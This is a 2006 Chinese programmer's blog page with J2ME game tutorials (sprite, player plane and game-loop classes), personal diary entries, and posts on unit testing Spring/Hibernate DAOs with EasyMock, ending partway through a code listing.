      这几天公司比较有空闲。我未曾设计过游戏。不过出于学习的原因也搞了些玩玩。现在我设计了一个手机雷电弱智版本。

游戏只是实现了最基本的功能。比如飞机移动。产生飞机。发射子弹。击中敌方,爆炸等功能。还有很多的地方不好。不过话又说回来,只是入门的。所以大家做个参考,学习学习就ok了。里面的注释也写的比较详细。希望大家多多指教

posted @ 2006-12-30 09:24 路是爬出来的 阅读(108) | 评论 (0)编辑 收藏

游戏入门之一 雷电 精灵模型

      设计游戏我个人认为一个好的角色操作将事半工倍。所以我现在把雷电的所有角色抽象成一个Fairy。里面有实现绘制的方法以及移动,碰撞算法。

      在这里我强调下,我的碰撞算法是简单的实现。就是一个物体为参照物体。在10像素范围内x,y轴如果发现另外一个物体侵入则判断为true,发之为false

java 代码


 


  1.    

  2. package org.wuhua.game.model;  

  3.   

  4. import javax.microedition.lcdui.Graphics;  

  5. import javax.microedition.lcdui.Image;  

  6.   

  7. import org.wuhua.game.util.Log;  

  8.    

  9. /** 

  10.  * 类名:Sprite.java 

     
     

  11.  * 编写日期: 2006-11-29 

     

  12.  * 程序功能描述:建立精灵物体模型 

     

  13.  * Demo: 

     

  14.  * Bug: 

     

  15.  *  

  16.  * 程序变更日期 :

     
     

  17.  * 变更作者 :

     
     

  18.  * 变更说明 :

     

  19.  *  

  20.  * @author wuhua 

     
     

  21.  */  

  22. public class Fairy {  

  23.     static Log log = Log.getLog("Fairy");  

  24.     /** 

  25.      * position of Fairy in x offset  

  26.      */  

  27.     int x; // = 0;  

  28.   

  29.     /** 

  30.      * position of Fairy in y offset  

  31.      */  

  32.     int y; // = 0;  

  33.   

  34.     /** 

  35.      * width of layer  

  36.      */  

  37.     int width; // = 0;  

  38.   

  39.     /** 

  40.      * height of layer 

  41.      */  

  42.     int height; // = 0;  

  43.   

  44.     /**  

  45.      * If the Layer is visible it will be drawn when paint 

  46.      * is called. 

  47.      */  

  48.     boolean visible = true;  

  49.       

  50.     /** 

  51.      * 图片资源 

  52.      *   

  53.      */  

  54.       

  55.     Image fairy;   

  56.       

  57.     public Fairy(Image fairy,int x, int y){  

  58.         this.fairy = fairy;  

  59.         this.x = x;  

  60.         this.y = y;  

  61.     }  

  62.       

  63.     public void setPosition(int x, int y) {  

  64.         this.x = x;  

  65.         this.y = y;  

  66.     }  

  67.       

  68.     public void move(int dx, int dy) {    

  69.        

  70.         x += dx;  

  71.         y += dy;  

  72.     }  

  73.       

  74.     public void setVisible(boolean visible) {  

  75.         this.visible = visible;  

  76.     }  

  77.   

  78.      

  79.     public final boolean isVisible() {  

  80.         return visible;  

  81.     }  

  82.   

  83.     public final int getHeight() {  

  84.         return height;  

  85.     }  

  86.   

  87.     public final int getWidth() {  

  88.         return width;  

  89.     }  

  90.   

  91.     public final int getX() {  

  92.         return x;  

  93.     }  

  94.   

  95.     public final int getY() {  

  96.         return y;  

  97.     }  

  98.       

  99.     public void paint(Graphics g){  

  100.         if (g == null) {  

  101.             throw new NullPointerException("Graphics 不存在");  

  102.         }  

  103.         if(this.visible){  

  104.             //log.debug("x=" + x + " y=" + y);   

  105.             g.drawImage(fairy, x, y,  Graphics.TOP | Graphics.HCENTER);  

  106.         }  

  107.     }  

  108.   

  109.     /** 

  110.      * 进行简单的碰撞算法, 希望高手可以给个建议。 

  111.      * @param f 

  112.      * @return 

  113.      */  

  114.     public final boolean collidesWith(Fairy f){  

  115.           

  116.        

  117.         if((f.getX() >= this.getX() - 20 && f.getX() <= this.getX() + 20)  

  118.                 &&  (f.getY() >= this.getY() - 10  && f.getY() <= this.getY()+10 )){  

  119.             //log.debug("this.getY=" + this.getY());  

  120.             //log.debug("f.getY=" + f.getY());  

  121.                

  122.                

  123.             return true;  

  124.         }  

  125.               

  126.         return false;  

  127.     }  

  128.    

  129.   

  130. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(1286) | 评论 (0)编辑 收藏

游戏入门之二 雷电 Hero(自己飞机)模型的创建

          这里我将要讲述我游戏的主角,Hero。这里的游戏的主角相对比较简单。 只需实现,飞机的移动以及创建。

唯一的两点是飞机移动的时候,不能把飞机都给移动到屏幕外面去了。只有的话,那我们这些设计游戏的人就太不专业了。呵呵。

         至于发射子弹,本来我也想把Ball跟发射子弹的创建以及管理都放在此的,后来想想,还是分开点好。这些就是高手们常常说的。要解耦啊,每个类应该尽量简单啊。不应该负责额外的工作啊。

       我听这些都烦恼死了。不过烦恼归烦。高手的话还是要听的。^_^

     同理可以实现Foe, Ball等角色类,以及创建FoeManager, BallManager等.这里就不详细阐述他们了

java 代码


 


  1. /******************************************************************** 

  2.  * 项目名称             :j2me学习          

     

  3.  *  

  4.  * Copyright 2005-2006 Wuhua. All rights reserved 

  5.  ********************************************************************/  

  6. package org.wuhua.battleplan;  

  7.   

  8. import org.wuhua.game.model.Fairy;  

  9. import org.wuhua.game.util.Log;  

  10.   

  11. /** 

  12.  * 类名:Hero.java 

     
     

  13.  * 编写日期: 2006-11-30 

     

  14.  * 程序功能描述:玩家飞机控制类 

     

  15.  * Demo: 

     

  16.  * Bug: 

     

  17.  *  

  18.  * 程序变更日期 :

     
     

  19.  * 变更作者 :

     
     

  20.  * 变更说明 :

     

  21.  *  

  22.  * @author wuhua 

     
     

  23.  */  

  24. public class Hero extends Fairy {  

  25.       

  26.   

  27.     static Log log = Log.getLog("Hero");  

  28.     static Hero hero;  

  29.     private Hero(int x, int y){  

  30.         super(Resources.FLY, x, y);  

  31.     }  

  32.     /** 

  33.      * 在选中的位置的位置创建一个Hero 

  34.      */  

  35.     public final static Hero createHero(int x, int y){  

  36.         if(hero == null){  

  37.             hero = new Hero(x,y);  

  38.         }  

  39.         return hero;  

  40.     }  

  41.       

  42.       

  43.       

  44.       

  45.     public final void moveLeft(){  

  46.         if(this.getX()>=16)  

  47.             this.move(-80);  

  48.     }  

  49.       

  50.     public final void moveRight(){  

  51.         if(this.getX()<=Platform.WIDTH-16)  

  52.             this.move(80);  

  53.     }  

  54.       

  55.     public final void moveUp(){  

  56.         if(this.getY()>=8)  

  57.             this.move(0, -8);  

  58.     }  

  59.     public final void moveDown(){  

  60.         if(this.getY()<=Platform.HEIGHT-38)  

  61.             this.move(08);  

  62.     }  


  63. }  


posted @ 2006-12-30 09:24 路是爬出来的 阅读(174) | 评论 (0)编辑 收藏

游戏入门之三 雷电 Game

       这里介绍的是Game的逻辑类,主要控制游戏的动作,以及绘制。

       详细里面代码有注释

java 代码


 


  1. /******************************************************************** 

  2.  * 项目名称             :j2me学习          

     

  3.  *  

  4.  * Copyright 2005-2006 Wuhua. All rights reserved 

  5.  ********************************************************************/  

  6. package org.wuhua.battleplan;  

  7.   

  8. import java.util.Stack;  

  9.   

  10. import javax.microedition.lcdui.Graphics;  

  11. import javax.microedition.lcdui.Image;  

  12.   

  13. import org.wuhua.game.GameCanvas;  

  14. import org.wuhua.game.model.Fairy;  

  15. import org.wuhua.game.util.Log;  

  16.   

  17.    

  18. /** 

  19.  * 类名:Game.java 

     
     

  20.  * 编写日期: 2006-11-30 

     

  21.  * 程序功能描述:游戏的主体类。游戏的绘制,状态的改变都在这边。 

     

  22.  * Demo: 

     

  23.  * Bug: 

     

  24.  *  

  25.  * 程序变更日期 :

     
     

  26.  * 变更作者 :

     
     

  27.  * 变更说明 :

     

  28.  *  

  29.  * @author wuhua 

     
     

  30.  */  

  31. public class Game extends GameCanvas {  

  32.     static Log log = Log.getLog("Game");  

  33.     private Hero hero;  

  34.       

  35.     private Stack balls;  

  36.     private Stack foes;  

  37.       

  38.     private Stack balst;  

  39.     /** 

  40.      * 爆炸效果索引 

  41.      */  

  42.     private int balstIndex;  

  43.       

  44.     /** 

  45.      * if time = 3 的时候建立一个 

  46.      */  

  47.     private int genaratBallTime;  

  48.       

  49.     private int genaratFoeTime;  

  50.       

  51.       

  52.     Game(){  

  53.         super();  

  54.         this.setFullScreenMode(true);  

  55.     }  

  56.       

  57.     void init(){  

  58.           

  59.         WIDTH = getWidth();  

  60.         HEIGHT = getHeight();  

  61.         log.debug("WIDTH=" + WIDTH);  

  62.         log.debug("hegiht=" + HEIGHT);  

  63.         this.bufferImage = Image.createImage(WIDTH, HEIGHT);  

  64.            

  65.         Platform.WIDTH = this.getWidth();  

  66.         Platform.HEIGHT = this.getHeight();  

  67.           

  68.           

  69.         hero = Hero.createHero(Platform.WIDTH/2, Platform.HEIGHT -30);  

  70.        

  71.         balst = new Stack();  

  72.            

  73.     }  

  74.       

  75.     /** 

  76.      * 产生爆炸效果 

  77.      * @param x 

  78.      * @param y 

  79.      */  

  80.     void genaratorBalst(int x, int y){  

  81.         balst.addElement(new Fairy(Resources.BLAST[0], x, y));  

  82.         balst.addElement(new Fairy(Resources.BLAST[1], x, y));  

  83.         balst.addElement(new Fairy(Resources.BLAST[2], x, y));  

  84.         balst.addElement(new Fairy(Resources.BLAST[3], x, y));  

  85.         balst.addElement(new Fairy(Resources.BLAST[4], x, y));  

  86.     }  

  87.       

  88.     /** 

  89.      * 碰撞。实在没有好的实现。 我想不出来了. 

  90.      * 逻辑是遍历所有子弹,然后再遍历所有敌机,再判断是否碰撞,如果碰撞,则产生一个爆炸实例. 

  91.      * 最后删除子弹跟飞机. 

  92.      * 

  93.      */  

  94.     void collides(){  

  95.         if(balls == null   

  96.                 || foes == null)  

  97.             return ;  

  98.         for(int i = 0; i < balls.size(); i ++){  

  99.             Ball b = (Ball) balls.elementAt(i);  

  100.             for(int j =0; j < foes.size(); j ++){  

  101.                 Foe f = (Foe) foes.elementAt(j);  

  102.                 if(b.collidesWith(f)){  

  103.                     this.genaratorBalst(f.getX(), f.getY());  

  104.                     balls.removeElement(b);  

  105.                     foes.removeElement(f);  

  106.                     return;  

  107.                 }  

  108.                

  109.             }  

  110.         }  

  111.     }  

  112.       

  113.     /** 

  114.      * 绘制游戏场景跟Hero 

  115.      * 

  116.      */  

  117.     void drawGame(){  

  118.         if(Platform.HEIGHT < this.getHEIGHT()){  

  119.             Platform.HEIGHT = this.getHEIGHT();  

  120.         }  

  121.           

  122.         Graphics g = this.getGraphics();  

  123.         if(g == null)  

  124.             return;  

  125.         fillFullScreen(g,0x349293);  

  126.         paintHeroAndBall(g);  

  127.           

  128.         paintFoe(g);  

  129.           

  130.         paintBalst(g);  

  131.         this.flushGraphics();  

  132.     }  

  133.   

  134.     /** 

  135.      * 绘制爆炸效果 

  136.      * @param g 

  137.      */  

  138.     private void paintBalst(Graphics g) {  

  139.            

  140.         if(balst == null   

  141.                 || balst.size() == 0)  

  142.             return;  

  143.           

  144.         Fairy bf = (Fairy) balst.elementAt(balstIndex);  

  145.         bf.paint(g);  

  146.         if(balstIndex >= 4){  

  147.             balstIndex = 0;  

  148.             balst.removeAllElements();  

  149.         }  

  150.               

  151.         balstIndex++;  

  152.     }  

  153.   

  154.     /** 

  155.      * 绘制敌机 

  156.      * @param g 

  157.      */  

  158.     private void paintFoe(Graphics g) {  

  159.         if(foes == null)  

  160.             return ;  

  161.         for(int i=0; i < foes.size(); i++){  

  162.             Foe foe = (Foe) foes.elementAt(i);  

  163.             foe.paint(g);  

  164.         }  

  165.           

  166.     }  

  167.       

  168.     /** 

  169.      * 制造敌飞机 

  170.      * 

  171.      */  

  172.     public void genaratorFoe(){  

  173.         if(this.genaratFoeTime == 5){             

  174.             FoeManager.addFoe(FoeManager.genarator());  

  175.             FoeManager.clearFoesIsOut();  

  176.             foes = FoeManager.getFoes();  

  177.             genaratFoeTime = 0;  

  178.         }  

  179.           

  180.         genaratFoeTime++;  

  181.     }  

  182.       

  183.     /** 

  184.      * 敌机飞行 

  185.      * 

  186.      */  

  187.     public void foeFly(){  

  188.         if(foes == null)  

  189.             return ;  

  190.         for(int i = 0; i < foes.size(); i++){  

  191.             Foe foe = (Foe) foes.elementAt(i);  

  192.             foe.fly();  

  193.         }  

  194.     }  

  195.   

  196.     private void paintHeroAndBall(Graphics g) {  

  197.         hero.paint(g);  

  198.         paintBalls(g);  

  199.     }  

  200.   

  201.     /** 

  202.      * 绘制子弹 

  203.      * @param g 

  204.      */  

  205.     private void paintBalls(Graphics g) {  

  206.         if(balls == null)  

  207.             return ;  

  208.         for(int i = 0; i < balls.size(); i++){  

  209.             Ball ball = (Ball) balls.elementAt(i);  

  210.             ball.paint(g);  

  211.         }  

  212.           

  213.     }  

  214.       

  215.     /** 

  216.      * 子弹的飞行 

  217.      * 

  218.      */  

  219.     public void ballFly(){  

  220.         if(balls == null)  

  221.             return ;  

  222.         for(int i = 0; i < balls.size(); i++){  

  223.             Ball ball = (Ball) balls.elementAt(i);  

  224.             ball.fly();  

  225.         }  

  226.     }  

  227.       

  228.     /** 

  229.      * 飞机的动作 

  230.      * 

  231.      */  

  232.     public void heroAction(){  

  233.         checkHeroIsExists();  

  234.         int keyCode = this.getKeyStates();  

  235.            

  236.         switch(keyCode){  

  237.         case Platform.KEY_LEFT: hero.moveLeft(); break;  

  238.         case Platform.KEY_RIGHT: hero.moveRight(); break;  

  239.         case Platform.KEY_UP: hero.moveUp(); break;  

  240.         case Platform.KEY_DOWN: hero.moveDown(); break;  

  241.         case Platform.KEY_FIRE: genaratorBall(); break;  

  242.         }  

  243.     }  

  244.   

  245.     /** 

  246.      * 创建子弹 

  247.      * 

  248.      */  

  249.     private void genaratorBall() {  

  250.        

  251.         if(this.genaratBallTime == 3){  

  252.             checkHeroIsExists();  

  253.               

  254.             BallManager.addBall(BallManager.genarator(hero.getX(), hero.getY()));  

  255.             BallManager.clearBallsIsOut();  

  256.             balls = BallManager.getBalls();  

  257.             genaratBallTime = 0;  

  258.         }  

  259.           

  260.         genaratBallTime++;  

  261.           

  262.           

  263.     }  

  264.   

  265.     private void checkHeroIsExists() {  

  266.         if(hero == null){  

  267.             throw new java.lang.NullPointerException("Hero is Null");  

  268.         }  

  269.     }  

  270.   

  271.     /** 

  272.      * 游戏的run。控制游戏个各个方面 

  273.      * 

  274.      */  

  275.     public void run(){  

  276.         this.collides();  

  277.         this.heroAction();  

  278.         this.ballFly();  

  279.         this.genaratorFoe();  

  280.         this.foeFly();  

  281.           

  282.         this.drawGame();  

  283.         this.setKeyStates(1000);  

  284.     }  

  285. }  







代码就是上面的,如果有什么好的建议,请评论。下面的一课,我将介绍GameThread。

posted @ 2006-12-30 09:24 路是爬出来的 阅读(148) | 评论 (0)编辑 收藏

坏心情

        好久没写自己的内心感受了。这段时间狂发j2me的文章。纯粹是个人爱好。而非工作需要。说来自从结束上个IKan项目后。现在的工作基本上是维护一些老应用程序。有时候甚是觉得无聊。同学们都说我变了。变的沉默,而我自己到不察觉,或许有些事情真的是需要外人来提醒啊。前阵子也曾经跟公司提过,我想做技术之余兼任市场方面的工作。提是提了。后来就没下文了。上次主管提出说要修炼修炼我们的内功。也提出了些具体方案,比如从测试入手。艾,最近心情不怎么顺。星期6,7都睡觉。要么就跟朋友出去逛逛。不太喜欢编码了。或许我们在适当的时候,适当的地点,做自己想做的事情。

         都说程序员很木讷。我却不这样认为。一开始全心投入去编码的时候也许是这样,等他发现自己需要换种活法的时候,却往往很迷失。

        昨天遇到一个很久很久未联系的朋友的QQ,跟他寒暄了几句,发现居然不是他本人,郁闷。那个人说,对方去上海读书了。想想认识了这么久又怎么样,跑了。连个屁也不放。真实物是人非。或许对方想抛弃以前所有的东西,自己过新的生活。那样是多么的洒脱。自己何尝不想这样呢?  。。。。。。。。。

         当你写程序写久了。会不会有种,以抽象的机器观念来观察现实的肉体观了

        哈哈哈哈哈哈哈。

   

posted @ 2006-12-30 09:24 路是爬出来的 阅读(127) | 评论 (0)编辑 收藏

j2me圈子的朋友有没兴趣大家一起做个冒险岛的游戏

         本想不应该写称blog。应该发表到j2me圈子的论坛里面。但是论坛只是很简单的文本,并没有上传图片。所以就贴到这里了

前几天闲逛了一些素材网站。发现有个用户设计了一些资源,所以下载下来,自己对人物的动作做了些修改。上传出来,大家看看有几乎就一起搞个简单的冒险岛游戏。

       怎么样?





我专门开这个帖子,然后希望有时间,并且爱好j2me game开放的朋友跟贴。并提出自己的想法。

呵呵

posted @ 2006-12-30 09:24 路是爬出来的 阅读(129) | 评论 (0)编辑 收藏

我的第一个真正意义上的测试

       前段日子很无聊,也是很无奈的。经过了这段日子的,我想了很多事情,虽然全部想通,但却努力的去想了。我想这样就Ok了

对吗?

       好了。前阵子,老板请喝早茶,顺便跟我们这些技术人员讨论了怎么样可以提高我们内功的问题。我老板也是技术出身的。有相当多的经验,当然我最初的想法并不是去研究测试,我直接提出:“我觉得我们应该提高我们对设计模式的理解”。他却不怎么同意,说测试才是我们现在的当务之急,然后很肯定的说。TDD,重构都是建立再单元测试基础上的。并推翻了我的建议:”有空让对设计模式有深厚理解的员工给我们上课“。

       开始由于我个人原因,或许我是个很情绪话的员工,也许在另外一家公司我可能早就被T。也许老板对我太好了。^_^

我当时不怎么响应,总是做自己喜欢做的事情,后来自己慢慢觉得自己的工作态度不对,所以昨天试着努力纠正自己的错误,真是在这样的环境下,自己写出了自己第一个我认为真正意义上的测试,把它记录下来。

       测试的要求:

       测试对一个Account的Dao操作以及Service。

java 代码


 


  1. //先来测试最基本的dao吧  

  2. package org.wuhua.dao;  

  3.   

  4. import java.util.Collection;  

  5.   

  6. public interface IBaseDao {  

  7.     Object save(Object o);  

  8.     void delete(Object o);  

  9.     Object update(Object o);  

  10.     Collection list();  

  11. }  



根据我的理解,测试的对方要跟mock的对象分开,(开始我一直认为你要mock的对象就是你要测试的东西,搞着搞着,我就很迷茫了。)。现在要做的就是看你IBaseDao的实现是什么了。如果实现是采用SpringHibernateTemplate的话你就去mock一个这样对象,不过此对象并不是接口,所以你要用到easymock的扩展包,以对它的支持。如果你实现的采用纯Hibernate的话。那你就去mock一个SessionFactory吧。很简单吧,难道这就是所谓的解耦吗?我想是的,这正是解耦。 哈哈



看下我的实现吧,采用Spring实现。

java 代码


 


  1. package org.wuhua.dao.impl;  

  2.   

  3. import java.util.Collection;  

  4.   

  5. import org.springframework.orm.hibernate3.support.HibernateDaoSupport;  

  6. import org.wuhua.dao.IBaseDao;  

  7.   

  8. public class BaseDao extends  HibernateDaoSupport  

  9. implements IBaseDao {  

  10.   

  11.     public void delete(Object o) {  

  12.          this.getHibernateTemplate().delete(o);        

  13.     }  

  14.   

  15.     public Collection list() {  

  16.        

  17.         return null;  

  18.     }  

  19.   

  20.     public Object save(Object o) {  

  21.         return this.getHibernateTemplate().save(o);  

  22.             

  23.     }  

  24.   

  25.     public Object update(Object o) {  

  26.         this.getHibernateTemplate().update(o);  

  27.         return o;  

  28.     }  

  29.   

  30. }  



测试代码

java 代码


 


  1. package org.wuhua.dao;  

  2.   

  3. import java.io.Serializable;  

  4.   

  5. import junit.framework.TestCase;  

  6.   

  7. import org.easymock.MockControl;  

  8. import org.easymock.classextension.MockClassControl;  

  9. import org.springframework.orm.hibernate3.HibernateTemplate;  

  10. import org.wuhua.dao.impl.BaseDao;  

  11.   

  12. public class BaseDaoTest extends TestCase {  

  13.   

  14.     MockControl control;  

  15.   

  16.     private HibernateTemplate ht;  

  17.   

  18.     private BaseDao baseDao;  

  19.   

  20.     protected void setUp() throws Exception {  

  21.         control = MockClassControl.createControl(HibernateTemplate.class);  

  22.         ht = (HibernateTemplate) control.getMock();  

  23.         baseDao = new BaseDao();  

  24.         baseDao.setHibernateTemplate(ht);  

  25.     }  

  26.   

  27.     public void testSave() {  

  28.         Object o = new Object();  

  29.         ht.save(o); 


  30.         //这里我是有疑问的。

  31.         //1,为什么HibernateTemplate返回的是Serializable。

  32.         //2,设置的返回植为什么一定要跟调用ht.save(o)一致呢?


  33.         control.setReturnValue(new Wuhua());  

  34.         control.replay();  

  35.         baseDao.save(o);  

  36.         control.verify();  

  37.     }  

  38.       

  39.     public void testUpdate() {  

  40.         Object a = new Object();  

  41.         ht.update(a);  

  42.        

  43.         control.replay();  

  44.         try {  

  45.             baseDao.update(a);  

  46.             fail("Not catch exception!");  

  47.         } catch(Exception e) {  

  48.                

  49.         }  

  50.         control.verify();  

  51.     }  

  52.       

  53.     class Wuhua implements Serializable {}  

  54.   

  55. }  



上面就是我第一次很认真的测试,有很多不明白的地方

posted @ 2006-12-30 09:24 路是爬出来的 阅读(184) | 评论 (0)编辑 收藏

今天又去见客户了

        今天跟市场的人去跑。见一个客户,都怪我连对方是什么样的情况都不了解,去的很匆忙。只知道是做外贸的,想做个网站。

去到一看,傻眼了。洋人。哈,幸好跟我同去的老板会英文。不知道他们在唧咕什么,后来都是老板跟我翻译,然后我提出一些要求,最后谈到价钱。整个过程就是这么简单。

       让我感受最深刻是要学英文了。不过最欣慰的是,那边的电脑都中毒了。因此认识了些女孩子,并加了QQ,说什么远程协助帮她杀毒。哈哈哈

       希望可以帮到她们,不过说实话,没有一个懂电脑的在身边,真的很惨,她那边是做外贸的,电脑一中毒,可能很多重要数据被偷,或者丢失,看来我们做软件的也还不错。

posted @ 2006-12-30 09:06 路是爬出来的 阅读(121) | 评论 (0)编辑 收藏

续关于 j2me圈子的朋友有没兴趣大家一起做个冒险岛的游戏

     这两天忙着学习关于单元测试,游戏的事情放到放下了。趁着现在有点时间,把我自己一个简单的框架拿出来参考下。

这里用的人物图片资源是整合fins刚上传的一个游戏,

     在这里我说下简单的功能,

    1。mali只能向前走,走过了就回不了头了

     2。为能实现跳跃,跟出现关外

    3。人物只能之下行走,不能根据场景的路线判断行走,比如前方有个台阶,要跳跃。

    4,等大家提供了。哈哈

posted @ 2006-12-30 09:06 路是爬出来的 阅读(95) | 评论 (0)编辑 收藏

单元测试之测试目的

在javaeye学习一段时间单元测试后,虽然测试的文章不多,但都是经典帖子。同时也发现这里面讨论的关注点大部分是对测试的目。对于该怎么测试,怎么样才可以让测试自动话



,怎么样保持测试的实效性等讨论的比较少。



最近被公司逼的急了,它要求在这个月里写一篇关于单元测试的论文。无奈之下,只好来到这里记录下自己学习的点点滴滴。以方便自己以后整理成论文。



做事往往要带很强的目的性去做才可以成功,单元测试也不例外



单元测试目的:

首先保证代码质量。

其次保证代码的可维护。

再此保证代码的可扩展。



目的之一代码的代码质量

我们编写的代码虽然可以通过编译器检测到语法的正确性质,但并不能保证代码逻辑也是正确的。我们该怎么保证代码执行是正确的呢。好下面我们来看下代码。



java 代码


 


  1.    int add(int x, int y){  

  2.     return x+y;  

  3. }  





   上面的功能模块。下面是段测试代码

 
java 代码


 


  1. void testAdd(){  

  2.     //我们要求程序逻辑是1+4=5;  

  3.     assertEquals(5,add(1,4); 


  4. }



     经过测试以后,如果你修改了int add(int x, int y);里面的逻辑,如果修改的正确,测试代码始终都是见到绿色的。如果你逻辑错了。那不好意思,你的测试将会让你重新写那段逻辑代码。直到你正确为止。

     有个比较特殊的情况,如果我测试代码写成这样,那我保证逻辑代码的正确性,但我却看不到我期待的绿色,这有是什么原因呢?

java 代码


 


  1. 1void testAdd(){    

  2. 2.     //我们要求程序逻辑是1+4=5;    

  3. 3.     assertEquals(6,add(1,4);   

  4. 4. }  



我个人认为这个问题并是逻辑代码的问题,而是你测试代码中的逻辑问题,

噢,MyGot,作为程序员的我。已经为逻辑代码伤脑筋了。还要为测试代码烦恼,做人真命苦啊。  想来也确实是这样。

这就引申了另外一个问题,怎么样才可以保证我逻辑代码的可测性?



目的之二代码的可维护性。

就拿上面的例子来说吧。只要我们的单元测试是正确的,那我们就可以保证无论你怎么修改那段代码,只要测试代码可以产生绿色条,那OK,你修改的逻辑代码是正确的。当然可维护并非只有这点,还有,比如保证修改了这段代码不会影响到其他的模块等。



目的之三代码的可扩展。

对于这点我理解很肤浅。只能表达表面的东西,希望。

对于可扩展我觉得保遵循一个代码之间的耦合度降到最低。就OK了。单元测试对这方面有很强的好处,为了程序的可维护性,它可以强迫你写低耦合度的程序。





单元测试的优点


1、它是一种验证行为。

    程序中的每一项功能都是测试来验证它的正确性。它为以后的开发提供支缓。就算是开发后期,我们也可以轻松的增加功能或更改程序结构,而不用担心这个过程中会破坏重要的东西。而且它为代码的重构提供了保障。这样,我们就可以更自由的对程序进行改进。


2、它是一种设计行为。

    编写单元测试将使我们从调用者观察、思考。特别是先写测试(test-first),迫使我们把程序设计成易于调用和可测试的,即迫使我们解除软件中的耦合。


3、它是一种编写文档的行为。

    单元测试是一种无价的文档,它是展示函数或类如何使用的最佳文档。这份文档是可编译、可运行的,并且它保持最新,永远与代码同步。


4、它具有回归性。

    自动化的单元测试避免了代码出现回归,编写完成之后,可以随时随地的快速运行测试。


单元测试的范畴




    如果要给单元测试定义一个明确的范畴,指出哪些功能是属于单元测试,这似乎很难。但下面讨论的四个问题,基本上可以说明单元测试的范畴,单元测试所要做的工作。


1、 它的行为和我期望的一致吗?

    这是单元测试最根本的目的,我们就是用单元测试的代码来证明它所做的就是我们所期望的。


2、 它的行为一直和我期望的一致吗?

    编写单元测试,如果只测试代码的一条正确路径,让它正确走一遍,并不算是真正的完成。软件开发是一个项复杂的工程,在测试某段代码的行为是否和你的期望一 致时,你需要确认:在任何情况下,这段代码是否都和你的期望一致;譬如参数很可疑、硬盘没有剩余空间、缓冲区溢出、网络掉线的时候。


3、 我可以依赖单元测试吗?

    不能依赖的代码是没有多大用处的。既然单元测试是用来保证代码的正确性,那么单元测试也一定要值得依赖。


4、 单元测试说明我的意图了吗?

    单元测试能够帮我们充分了解代码的用法,从效果上而言,单元测试就像是能执行的文档,说明了在你用各种条件调用代码时,你所能期望这段代码完成的功能。

posted @ 2006-12-30 09:06 路是爬出来的 阅读(148) | 评论 (0)编辑 收藏

单元测试之实践一,关于设计的常见分层

        我做过的项目不多。也就几个。做项目的经历是个学习的过程。

       第一个项目,纯Jsp,没有任何的java类,当时就觉得好郁闷啊。做久了,根本找不到北。

       第2个项目:开始会用些javabean来做了。但是还是一个字好乱。

       第3个项目:开始使用hibernate, 只是对数据库层做了些简单的封装,修改起来比较好了点

       第4个项目:研究Webwork+spring+hibernate。终于实现了所谓的MVC了。哈哈,该起程序来终于开始有点爽了。

      第5个项目: 开始引入了单元测试,现在还在很懵懂在学习中,为了更好的测试,我们开始努力写出更高质量的代码。所以对软件的分层更细致了些。



      我们可以从测试来分出上的设计的好坏。

      1,纯jsp,根本无从单元测试,我想就是那些大牛们也很难写出这样的测试代码吧

      2,对于纯粹只有get/set的javabean而言,我想应该是没有必要做单元测试的。如果有逻辑代码的话,测试起来也是相当困难的,因为你不知道里面的逻辑代码跟多少个类大了交道,你会为了测试这段代码,建立相关的环境,比如启动EJB,Web容器等。跟难预料的是,跟你耦合的类未必就是正确的,其实你的测试代码跟你的javabean逻辑是对的,但是因为你引用的类(也就是耦合类)的逻辑是错误的,这将导致你的测试是个红色,“真的很抱歉,其实我也不想这样的,单元测试说”。 这样就足以证明是你的设计问题了。并不是单元测试的问题。所以说第个项目测试是很难测是的。只是比不能测试好一点点。

      3,至于第3个跟第2个差不多。

      4,第4个由于对每个层做了细致设计,所以设计测试代码容易点,而且可以通过easymock等工具进行分层测试,这样可以做到更细粒度的测试,对测试覆盖率也是很有帮助的。下面我将主要通过第4个项目的用户注册例子来讲单元测试的各个方面。



先看下,源代码的包结构。





接下来看下流程图。

可以很清楚的知道,没一层做些什么工作,接下的文章,我将会根据我的设计习惯,一一给出他们相应的测试代码。希望高手们指教。

我不会绘制UML图,所以只好手工来画,可惜手机像素不高,所以。。。。





posted @ 2006-12-30 09:06 路是爬出来的 阅读(147) | 评论 (0)编辑 收藏

单元测试之实践二,关于DAO的测试

       前阵子发表过 我的第一个真正意义上的测试

里面对于测试Service大家是没有意义的,对于测试DAO层则表现各有各的看法。

比如

robbin     大哥建议:


测试DAO不如连数据库一起测试吧。因为DAO测试的目的不是DAO接口实现对不对,而是测试是否如你预期的发送了SQL,如你预期的返回了结果集。这个时候你Mock之后,测试就没有意义了。



hyysguyang      大哥建议:篇

wuhua 写道

分层的原因很多。这里我的看法片面就不说了

但对于mock来说是有莫大好处的。

比如service测试的时候完全可以做到隔离数据库,

我现在的意思是,

居然Service可以隔离Dao层,也就是说Dao层也是可以做到隔离相关的数据实现的。也是可以mock一个对象。而并非用实际的连接去代 替。如果我们的逻辑没出错的话,测试就算通过了,至于数据层的检测,那就不关我们的事情了,比如Hibernate由Hibernate去test, Spring由Spring去Test,Oracle由它自己去做。干自己的事情,别趟其他浑水。这样不是潇洒很多吗



但是数据库的测试毕竟比较特殊,记住测试的目的是确保你的代码质量,如果你确定你的这样测就没问题了,那无话可说,否则就尽量多的测试。

事实上,最原始的单元测试(plain testcase)就是用来测方法,测业务逻辑的,如果有逻辑就测,没逻辑就不用测了,同样的道理,相信你不会去测一个bean的get/set方法吧。

记住你测试的目的和动机,如果你认为测试dao层是为了测你的逻辑(你确定你的dao的实现代码是否真的存在逻辑),那你就mock吧,但是,我 们更相信,我们测DAO层,更应该是测访问数据库的情况,你如连接,sql是否正确,sequence是否正确等,而这些你必须要真正的连接数据库,也因 此,我们一般都是直接访问数据库来测试的,当然,如果可能你可以采用内存库。

事实上,我们对dao的测试,一般都进行所谓的的集成单元测试。我认为,你应该确定好你的测试策略,然后在去采用相应的测试方法。我在目前的开发中就是采用这样的方式测的。


上面两个大哥都建议测试DAO的时候还是连接数据库为好。

但个人认为上面两个大哥的单元测试以非纯正的单元测试了,而是集成单元测试。

其实说白了,测试这东西只是为了项目更好,更快的完成。至于是否要求纯单元,或者是集成单元测试,则看各位的需要,如果觉得集成单元测试对项目有帮助,那就用吧,现在发现对这个已经没有明显的界限了。





不理会它了,现在回归到我们用户注册的例子。

java 代码


 


  1. 1public interface IAccountDao extends IBaseDao {    

  2. 2.     public Account findAccountById(String id);    

  3. 3.     public Account findAccounByName(String name);    

  4. 4. }   





实际实现代码

java 代码


 


  1. package org.wuhua.dao.impl;  

  2.   

  3. import java.util.List;  

  4.   

  5. import org.wuhua.dao.IAccountDao;  

